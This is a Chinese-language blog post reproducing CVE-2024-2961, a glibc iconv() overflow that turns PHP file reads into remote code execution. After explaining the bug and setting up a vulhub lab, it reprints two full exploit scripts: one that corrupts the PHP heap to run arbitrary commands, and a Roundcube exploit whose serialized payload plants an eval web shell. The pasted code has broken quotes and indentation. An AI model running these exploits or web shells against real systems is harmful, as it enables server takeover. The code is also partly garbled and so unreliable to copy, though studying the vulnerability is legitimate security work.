CVE-2024-2961复现 | 风尘孤狼
0%

CVE-2024-2961复现

glibc iconv()导致缓冲区溢出漏洞

php://filter任意文件读取提升为远程代码执行(RCE)

漏洞原理

​ glibc2.39及更早版本中的 iconv() 函数在将字符串转换为 ISO-2022-CN-EXT 字符集时,可能会使传递给它的输出缓冲区溢出最多 4 个字节,这可能会导致应用程序崩溃或覆盖相邻变量。

​ iconv()函数是glibc提供的用于字符编码转换的API,可以将输入转换成另一种指定的编码输出。比如将原本为gbk编码的输入转化为utf-8的编码输出。将“劄”、“䂚”、“峛”或“湿”等采用utf-8编码的汉语生僻字(博大精深的汉字)转化为ISO-2022-CN-EXT字符集输出时,会导致输出缓冲区有1-3字节的溢出。

漏洞条件

理论上PHP7.0.0-8.3.7,满足以下可以使用这个漏洞

1,file_get_contents($_GET['file']);

2,任意文件读取+getimagesize($_GET['file']);或者XXE等

3,绕disable_functions
存在可控点:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等
文件写入操作同样受到影响(如file_put_contents()及其同类函数)

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2024-2961/
sudo docker-compose up -d

直接pull整个vulhub太大,可以直接按照下边的搞docker模板和一个index.php就可以

index.php

<?php    
$data = file_get_contents($_POST['file']);
echo "File contents: $data";

docker-compose.yml

version: '2'
services:
 web:
   image: vulhub/php:8.3.4-apache
   volumes:
    - ./index.php:/var/www/html/index.php
   ports:
     - "8080:80"

复现

一般情况下只用过滤器任意文件读取

php://filter/convert.base64-encode/resource=xxx

而在这个漏洞,是利用过滤器和溢出的组合拳实现RCE

如下图,可见是存在任意文件包含的,file协议读文件

image-20240711103639105
php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=/etc/passwd

有完整可控的file_get_contents,直接读/proc/self/maps获得libc基地址和libc.so的绝对路径,然后读libc.so,这样所需的函数真实地址都可以得到,劫持custom_heap就可以实现。

POC

漏洞利用脚本

环境配置

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip

cnext-exploit.py

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#

from __future__ import annotations

import base64
import zlib
from dataclasses import dataclass

from pwn import *
from requests.exceptions import ChunkedEncodingError, ConnectionError
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    ```php
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
    self.url = url
    self.session = Session()

def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response.
    """
    return self.session.post(self.url, data={"file": path})
    
def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
    return base64.decode(data)

@entry
@arg(“url”, “Target URL”)
@arg(“command”, “Command to run on the system; limited to 0x140 bytes”)
@arg(“sleep_time”, “Time to sleep to assert that the exploit worked. By default, 1.”)
@arg(“heap”, “Address of the main zend_mm_heap structure.”)
@arg(
“pad”,
“Number of 0x100 chunks to pad with. If the website makes a lot of heap "
“operations with this size, increase this. Defaults to 20.”,
)
@dataclass
class Exploit:
“”“CNEXT exploit: RCE using a file read primitive in PHP.””"

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
    self.remote = Remote(self.url)
    self.log = logger("EXPLOIT")
    self.info = {}
    self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
    """Checks whether the target is reachable and properly allows for the various
    wrappers and filters that the exploit needs.
    """
    
    def safe_download(path: str) -> bytes:
        try:
            return self.remote.download(path)
        except ConnectionError:
            failure("Target not [b]reachable[/] ?")
        

    def check_token(text: str, path: str) -> bool:
        result = safe_download(path)
        return text.encode() == result

    text = tf.random.string(50).encode()
    base64 = b64(text, misalign=True).decode()
    path = f"data:text/plain;base64,{base64}"
    
    result = safe_download(path)
    
    if text not in result:
        msg_failure("Remote.download did not return the test string")
        print("--------------------")
        print(f"Expected test string: {text}")
        print(f"Got: {result}")
        print("--------------------")
        failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

    msg_info("The [i]data://[/] wrapper works")

    text = tf.random.string(50)
    base64 = b64(text.encode(), misalign=True).decode()
    path = f"php://filter//resource=data:text/plain;base64,{base64}"
    if not check_token(text, path):
        failure("The [i]php://filter/[/] wrapper does not work")

    msg_info("The [i]php://filter/[/] wrapper works")

    text = tf.random.string(50)
    base64 = b64(compress(text.encode()), misalign=True).decode()
    path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

    if not check_token(text, path):
        failure("The [i]zlib[/] extension is not enabled")

    msg_info("The [i]zlib[/] extension is enabled")

    msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
    with msg_status(f"Downloading [i]{path}[/]..."):
        return self.remote.download(path)

def get_regions(self) -> list[Region]:
    """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
    maps = self.get_file("/proc/self/maps")
    maps = maps.decode()
    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in table.split(maps, strip=True):
        if match := PATTERN.match(region):
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4)
            if "/" in path or "[" in path:
                path = path.rsplit(" ", 1)[-1]
            else:
                path = ""
            current = Region(start, stop, permissions, path)
            regions.append(current)
        else:
            print(maps)
            failure("Unable to parse memory mappings")

    self.log.info(f"Got {len(regions)} memory regions")

    return regions

def get_symbols_and_addresses(self) -> None:
    """Obtains useful symbols and addresses from the file read primitive."""
    regions = self.get_regions()

    LIBC_FILE = "/dev/shm/cnext-libc"

    # PHP's heap

    self.info["heap"] = self.heap or self.find_main_heap(regions)

    # Libc

    libc = self._get_region(regions, "libc-", "libc.so")

    self.download_file(libc.path, LIBC_FILE)

    self.info["libc"] = ELF(LIBC_FILE, checksec=False)
    self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
    """Returns the first region whose name matches one of the given names."""
    for region in regions:
        if any(name in region.path for name in names):
            break
    else:
        failure("Unable to locate region")

    return region

def download_file(self, remote_path: str, local_path: str) -> None:
    """Downloads `remote_path` to `local_path`"""
    data = self.get_file(remote_path)
    Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:
    # Any anonymous RW region with a size superior to the base heap size is a
    # candidate. The heap is at the bottom of the region.
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE-1) == 0
        and region.path == ""
    ]

    if not heaps:
        failure("Unable to find PHP's main heap in memory")

    first = heaps[0]

    if len(heaps) > 1:
        heaps = ", ".join(map(hex, heaps))
        msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
    else:
        msg_info(f"Using [i]{hex(first)}[/] as heap")

    return first

def run(self) -> None:
    self.check_vulnerable()
    self.get_symbols_and_addresses()
    self.exploit()

def build_exploit_path(self) -> str:
    """

    On each step of the exploit, a filter will process each chunk one after the
    other. Processing generally involves making some kind of operation either
    on the chunk or in a destination chunk of the same size. Each operation is
    applied on every single chunk; you cannot make PHP apply iconv on the first 10
    chunks and leave the rest in place. That's where the difficulties come from.

    Keep in mind that we know the address of the main heap, and the libraries.
    ASLR/PIE do not matter here.

    The idea is to use the bug to make the freelist for chunks of size 0x100 point
    lower. For instance, we have the following free list:

    ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

    By triggering the bug from chunk ..900, we get:

    ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

    That's step 3.

    Now, in order to control the free list, and make it point whereever we want,
    we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
    we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
    That's step 2.

    Now, if we were to perform step2 an then step3 without anything else, we'd have
    a problem: after step2 has been processed, the free list goes bottom-up, like:

    0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

    We need to go the other way around. That's why we have step 1: it just allocates
    chunks. When they get freed, they reverse the free list. Now step2 allocates in
    reverse order, and therefore after step2, chunks are in the correct order.

    Another problem comes up.

    To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
    Since step2 creates chunks that contain pointers and pointers are generally not
    UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
    To avoid this, we put the chunks in step2 at the very end of the chain, and
    prefix them with `0\n`. When dechunked (right before the iconv), they will
    "disappear" from the chain, preserving them from the character set conversion
    and saving us from an unwanted processing error that would stop the processing
    chain.

    After step3 we have a corrupted freelist with an arbitrary pointer into it. We
    don't know the precise layout of the heap, but we know that at the top of the
    heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
    Its free_slot[] array contains a pointer to each free list. By overwriting it,
    we can make PHP allocate chunks whereever we want. In addition, its custom_heap
    field contains pointers to hook functions for emalloc, efree, and erealloc
    (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
    then overwrite the use_custom_heap flag to make PHP use these function pointers
    instead. We can now do our favorite CTF technique and get a call to
    system(<chunk>).
    We make sure that the "system" command kills the current process to avoid other
    system() calls with random chunk data, leading to undefined behaviour.

    The pad blocks just "pad" our allocations so that even if the heap of the
    process is in a random state, we still get contiguous, in order chunks for our
    exploit.

    Therefore, the whole process described here CANNOT crash. Everything falls
    perfectly in place, and nothing can get in the middle of our allocations.
    """

    LIBC = self.info["libc"]
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

    ADDR_HEAP = self.info["heap"]
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    # This chunk will eventually overwrite mm_heap->free_slot
    # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
    step4_pwn = ptr_bucket(
        0x200000,
        0,
        # free_slot
        0,
        0,
        ADDR_CUSTOM_HEAP,  # 0x18
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        ADDR_HEAP,  # 0x140
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=CS,
    )

    step4_custom_heap = ptr_bucket(
        ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    COMMAND = self.command
    COMMAND = f"kill -9 $PPID; {COMMAND}"
    if self.sleep:
        COMMAND = f"sleep {self.sleep}; {COMMAND}"
    COMMAND = COMMAND.encode() + b"\x00"

    assert (
        len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = (
        step4 * 3
        + step4_pwn
        + step4_custom_heap
        + step4_use_custom_heap
        + step3_overflow
        + pad * self.pad
        + step1 * 3
        + step2_write_ptr
        + step2 * 2
    )

    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"

    filters = [
        # Create buckets
        "zlib.inflate",
        "zlib.inflate",
        
        # Step 0: Setup heap
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 1: Reverse FL order
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 2: Put fake pointer and make FL order back to normal
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 3: Trigger overflow
        "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
        
        # Step 4: Allocate at arbitrary address and change zend_mm_heap
        "convert.quoted-printable-decode",
        "convert.iconv.latin1.latin1",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

@inform("Triggering...")
def exploit(self) -> None:
    path = self.build_exploit_path()
    start = time.time()

    try:
        self.remote.send(path)
    except (ConnectionError, ChunkedEncodingError):
        pass
    
    msg_print()
    
    if not self.sleep:
        msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
    elif start + self.sleep <= time.time():
        msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
    else:
        # Wrong heap, maybe? If the exploited suggested others, use them!
        msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
    
    msg_print()

def compress(data) -> bytes:
“”“Returns data suitable for zlib.inflate.
“””
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]

def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith(“=”):
raise ValueError(f"Misaligned: {data}")
return payload.encode()

def compressed_bucket(data: bytes) -> bytes:
“”“Returns a chunk of size 0x8000 that, when dechunked, returns the data.”“”
return chunked_chunk(data, 0x8000)

def qpe(data: bytes) -> bytes:
“”“Emulates quoted-printable-encode.
“””
return “”.join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size=None) -> bytes:
“”“Creates a 0x8000 chunk that reveals pointers after every step has been ran.”“”
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket

def chunked_chunk(data: bytes, size: int = None) -> bytes:
“”“Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size size.
For instance, ABCD with size 10 becomes: 0004\nABCD\n.
“””
# The caller does not care about the size: let’s just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}“.rjust(size - keep, “0”)
return size.encode() + b”\n" + data + b"\n"

@dataclass
class Region:
“”“A memory region.”“”

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
    return self.stop - self.start

Exploit()


## roundcube-exploit.py

#!/usr/bin/env python3

CNEXT: Roundcube authenticated RCE (CVE-2024-2961)

Date: 2024-06-17

Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)

INFORMATIONS

Tested on Roundcube 1.6.6, PHP 8.3. This is merely a POC. If it fails, you’ll have to

debug it yourself. Maybe the target is patched, or my leak technique does not work

for the Roundcube/PHP version of your target.

REQUIREMENTS

Requires ten: https://github.com/cfreal/ten

from dataclasses import dataclass, field

from ten import *
from pwn import p64, p32, u64

HEAP_SIZE = 2 * 1024**2

class Buffer:
def init(self, size: int, byte: bytes = b"\x00") -> None:
self.array = bytearray(byte * size)

def __setitem__(self, position: int, value: bytes) -> None:
    end = position + len(value)
    if end > len(self.array):
        raise ValueError(
            f"Cannot write value of size {len(value)} at position {position} in buffer of size {len(self.array)}"
        )
    self.array[position : position + len(value)] = value

def __bytes__(self) -> bytes:
    return bytes(self.array)

class Data:
data: list[tuple[str, bytes]]

def __init__(self, form: Form, **kwargs) -> None:
    self.data = [
        (key, to_bytes(value)) for key, value in (form.data | kwargs).items()
    ]

def add(self, key: str, value: bytes) -> None:
    self.data.append((key, to_bytes(value)))

def marker(self, key: str, size: int, c: bytes = b"M") -> None:
    marker = f"M{key}".encode()
    marker = marker + string(size - len(marker), c=c)
    self.add(key, marker)

def delete(self, key: str) -> None:
    self.add(key, b"")

def encode(self, value) -> bytes:
    return tf.qs.encode_all(value).encode()

def min_encode(self, value: bytes) -> bytes:
    """Perform the minimum URL-encoding for value."""
    value = value.replace(b"+", b"%2B")
    value = value.replace(b"&", b"%26")
    return value

def __bytes__(self) -> bytes:
    data = b"&".join(
        key.encode() + b"=" + self.min_encode(value) for key, value in self.data
    )
    # data = data + b"&"
    # data = data.ljust(1024*1024, b"x")
    return data

@entry
@arg(“url”, “URL of target”)
@arg(“username”, “Username”)
@arg(“password”, “Password”)
@arg(“command”, “Command to run”)
@dataclass
class Exploit:
“”“Roundcube authenticated RCE exploit using CVE-2024-2961 (CNEXT).”“”

url: str
"""URL of the target."""
username: str
"""Username to authenticate with."""
password: str
"""Password to authenticate with."""
command: str
"""Command to run on the target."""

session: ScopedSession = field(init=False)
form: Form = field(init=False)

@inform("Authenticating", "Login OK", "Failed to authenticate", ko_exit=True)
def login(self) -> bool:
    response = self.session.get("/")
    form = response.form(id="login-form")
    response = form.update(_user=self.username, _pass=self.password).submit()
    response.expect(302, 401)
    return response.code(302)

@inform("Getting compose form...")
def get_form(self) -> Form:
    response = self.session.get("/?_task=mail&_mbox=INBOX&_action=compose")
    response.expect(302)
    response = response.follow_redirect()
    self.form = response.form(action="/?_task=mail")

def submit(self, data: bytes) -> Response:
    return self.session.post(
        "/?_task=mail&_framed=1",
        data=bytes(data),
        headers={"Content-Type": "application/x-www-form-urlencoded"},
    )

@inform("Leaking heap...")
def get_leak(self) -> None:
    """We use chunks of size 0x800 to perform the exploit.
    The size is not trivial: sprintf() returns chunks multiple of 0x400, and we'll
    see why it is useful later on.

    The idea is to trigger the bug, and use it to make a chunk A of size 0x800 get
    allocated a little bit lower than expected, and overflow into the chunk B right
    under itself. We want to use A to overwrite B's zend_string header before it is
    displayed on the page to increase its size.
    The difficulty here is that we need B to be displayed RAW in the page - for
    instance, if json_encode() is called on B before it is displayed, it will
    discard some of the bytes of the leak, and make it less useful.
    To do so, I chose to play with the rcmail_output_html::get_js_commands() method,
    which allocates and concatenates a few strings (some that we control) before
    they get displayed. After the exploitation of the bug, we have FL[0x800]:

        D -> B -> C -> A', with A' sitting 0x4a bytes after A in memory

    To perform this magic trick we will make use of every input value and every
    string manipulation calls such as json_encode(), sprintf(), and the
    concatenations that happen in the function.

    Despite being ~80 lines long, this part was absolute hell.

    The leak is around 0x3000 bytes, so we can allocate something on the page right
    under to leak addresses.

    By creating and clearing a few 0x800 pointers using POST data, we make sure that
    the leak points very close to us. It actually points to the first L[1], so by
    substracting 0x800*2 we get to L[0], and at -0x800*6 we have V[0].
    """
    what = "heap"
    assert what in ("heap", "main")

    # _(27, 2048,    8, 4, x, y) \
    NB_VICTIMS_PER_ALLOC = 4
    NB_POSTS_PER_ALLOC = NB_VICTIMS_PER_ALLOC // 2
    VICTIM_SIZE = 0x800  # 3072 # 29
    VICTIM_SIZE_MIN = 0x700 + 1  # 2560 # 28

    data = Data(self.form)

    data.add("_charset", b"ISO-2022-CN-EXT")

    # Overflow!
    data.add("_to", overflow_string(VICTIM_SIZE))
    # unlock is too small for chunks of 0x800, but if you add one byte, it is not
    # anymore
    data.add("_unlock", unlock(VICTIM_SIZE_MIN - 1))

    # Small pad
    for i in range(NB_POSTS_PER_ALLOC + 2):
        data.marker(f"PV[{i}]", VICTIM_SIZE_MIN, b"V")

    # Victims
    for i in range(NB_POSTS_PER_ALLOC):
        data.marker(f"V[{i}]", VICTIM_SIZE_MIN, b"\x00")

    match what:
        # We want to leak pointers to our chunks of the same size as the one used to
        # exploit, so we allocate 0x800 chunks and free them
        case "heap":
            # Leak pointers
            for i in range(NB_POSTS_PER_ALLOC):
                data.marker(f"L[{i}]", VICTIM_SIZE_MIN, b"\x00")

            # Create these so that the memory leak leaks their precise address
            data.delete(f"L")
        # This is legacy code: what is always `heap` now, but I keep it in case you
        # want to see the difference: here, we allocate arrays to be able to see
        # them in the heap
        case "main":
            for i in range(100):
                data.marker(f"A[{i}]", 0x38)
            data.delete("A")

    # Make the free list become: D B C A
    data.delete(f"V")

    # _cc and _bcc will get exploded by ",", and each email will be parsed one by
    # one. If one produces an error, it is stored and an error message is displayed
    # Otherwise, the list of every email separated by ", " is stored.

    # _cc: this value is the first invalid email, and it'll get stored in order to
    # be displayed in a json_encoded error message:
    #   "Adresse courriel invalide : <MAIL>"
    # We use a value that makes the json_encode() to fit in a 0x800 chunk, as well
    # as the sprintf() that comes later on.
    error_email = string(0x650, b"o") + b"\x00" * 55 + b"abcdef"
    data.add("_cc", error_email)

    # _bcc: contains multiple emails
    #
    # Create a list of emails which, after being concatenated and stored by
    # email_input_format(), fit in a 0x800 chunk, thus padding the FL
    mail_list = "a@t.net, "
    mail_list = (mail_list + " " * 20) * (VICTIM_SIZE_MIN // len(mail_list))
    mail_list = mail_list.encode()
    data.add("_bcc", mail_list)

    # Get our leak!
    response = self.submit(data)
    match = response.re.search(
        rb'parent.rcmail.iframe_loaded\((".*)abcdef","error",0\);\n}\n</script>\n\n\n</head>\n<body>\n\n</body>\n</html>$',
        flags=re.S,
    )
    assume(match, "Could not get leak")

    match = match.group(1)
    assume(len(match) > 0x00000E64, "Could not trigger leak")

    match what:
        case "heap":
            leak = u64(match[0x00001FA8:0x00001FB0])
            msg_info(f"Leaked heap address: [b]{hex(leak)}")
        # Same: this is legacy code, but I keep it in case you want to see the idea
        case "main":
            leak = u64(match[0x000027D8:0x000027E0])
            msg_success(f"Leaked [i]_zval_ptr_dtor[/] address: [b]{hex(leak)}")

    return leak

@inform("Executing code...")
def overwrite_session_preferences(self, heap: int) -> None:
    """Overwrite the session hashmap+bucket to point to create a fake `preferences`
    key-value that will be deserialized afterwards.
    """
    VICTIM_SIZE = 0x400
    VICTIM_SIZE_MIN = 0x380 + 1

    data = Data(self.form)

    data.add("_charset", b"ISO-2022-CN-EXT")
    trigger = (
        "A" * (VICTIM_SIZE - 0x100)
        + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA劄劄\n劄劄\n劄劄\n劄\n劄\n劄\n劄"
    )
    data.add("_to", trigger)
    # data.add("_unlock", unlock(0x700))
    HEAP_BASE_ADDR = heap & ~(HEAP_SIZE - 1)
    SESSION_BUCKETS_ADDR = HEAP_BASE_ADDR + 0xA2000 - 0x100
    # Offset from our overwrite to the Bucket allocation
    OFF_WRITE = 0x280
    # Number of entries in the array
    entries = 0x20

    # Create a few chunks of size 0x400 which contain, at offset 0x48, an arbitrary
    # address, and free them. After we overwrite the LSB of the FL[0x400] pointer,
    # it'll point to said arbitrary address.
    for i in range(10):
        payload = bytearray(string(VICTIM_SIZE_MIN, b"\x00"))
        offset = 0x48 - 0x18
        payload[offset : offset + 8] = p64(SESSION_BUCKETS_ADDR - OFF_WRITE - 0x18)
        data.add(f"A[{i}]", payload)

    data.delete("A")

    # We modify arData[0] and set its key to preferences. When the session gets
    # saved, PHP will extract the keys one by one from the session array, and then
    # use zend_hash_find() to find the corresponding value. We update the hashmap
    # so that when looking for the index in arData of preferences, 0x21 is returned.
    # 0x21 is the index of the fake bucket we created, which points to the fake
    # value (a serialized string)
    # The key/value pair therefore gets stored in the array. When we go on the index
    # afterwards, preferences gets deserialized (rcube_user.php:147)

    # Key of the session bucket that we want to change
    KEY = b"preferences"
    VALUE = qs.decode_bytes(
        """a:2:{i:7%3BO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"%00GuzzleHttp\Cookie\CookieJar%00cookies"%3Ba:1:{i:0%3BO:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"%00GuzzleHttp\Cookie\SetCookie%00data"%3Ba:3:{s:7:"Expires"%3Bi:1%3Bs:7:"Discard"%3Bb:0%3Bs:5:"Value"%3Bs:30:"<?php%20eval($_REQUEST['x'])%3B%20?>"%3B}}}s:39:"%00GuzzleHttp\Cookie\CookieJar%00strictMode"%3BN%3Bs:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3Bs:23:"./public_html/shell.php"%3Bs:52:"%00GuzzleHttp\Cookie\FileCookieJar%00storeSessionCookies"%3Bb:1%3B}i:7%3Bi:7%3B}"""
    )
    # Its hash
    KEY_HASH = 0xC0C1E3149808DB17
    # And its offset in the hashmap
    HASH_OFFSET = 0xFFFFFFFF & (KEY_HASH | 0xFFFFFFC0)
    HASH_OFFSET = 0xFFFFFFFF - HASH_OFFSET + 1
    HASH_OFFSET = 0x40 - HASH_OFFSET

    BASE_ADDR = SESSION_BUCKETS_ADDR + 0x500
    KEY_ADDR = BASE_ADDR + 0x40
    VALUE_ADDR = BASE_ADDR + 0x270

    # A fake index that actually points AFTER the Buckets[] in memory, right onto
    # our modified bucket
    in_string = 0
    # The original (unmodified) hashmap
    hashmap = bytearray(
        bytes.fromhex(
            f"""

ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff 05 00 00 00 ff ff ff ff ff ff ff ff
ff ff ff ff 15 00 00 00 11 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff 0e 00 00 00
04 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff 07 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff 13 00 00 00 ff ff ff ff ff ff ff ff
12 00 00 00 0f 00 00 00 02 00 00 00 08 00 00 00
0a 00 00 00 ff ff ff ff 0d 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff 14 00 00 00
0b 00 00 00 ff ff ff ff ff ff ff ff 06 00 00 00
09 00 00 00 ff ff ff ff ff ff ff ff 10 00 00 00
0c 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff
“”"
)
)
# Change hash to make it point to the first bucket, that we have modified
hashmap[HASH_OFFSET * 4 : HASH_OFFSET * 4 + 4] = p32(in_string)
victim = Buffer(OFF_WRITE + 0x100 + 0x20, b"A")
victim[OFF_WRITE] = hashmap
# Fake bucket
victim[OFF_WRITE + 0x100] = (
p64(VALUE_ADDR) # ZVAL ZVALUE
+ p32(6)
+ p32(0xFFFFFFFF) # ZVAL TYPE and NEXT
+ p64(KEY_HASH) # HASH
+ p64(KEY_ADDR) # KEY
)
victim = bytes(victim)
assert (
VICTIM_SIZE >= len(victim) + 0x18 + 1 >= VICTIM_SIZE_MIN
), f"{hex(len(victim) + 0x18 + 1)}"

    # _from addresses, separated by `;`, get through a list of modifications. The
    # two we use are the mime decoding (=?UTF-8?B?<base64>?=) and then a trim()
    # base64-decode is nice because it allows us to have raw bytes in our payload
    # (bypass the charset conversion that happens first), but it will decode in a
    # buffer that has the same size as the base64 (for instance if b64 has size
    # 0xc00, the decoded string is allocated in a 0xc00 chunk as well). A few calls
    # deeper, our values are trim()ed however, which will cause a reallocation.
    # The trim() operations will therefore allocate the chunks
    def build_equal_payload(data: bytes) -> str:
        data = b" " * 1000 + data
        data = base64.encode(data)
        data = f"=?UTF-8?B?{data}?="
        return data

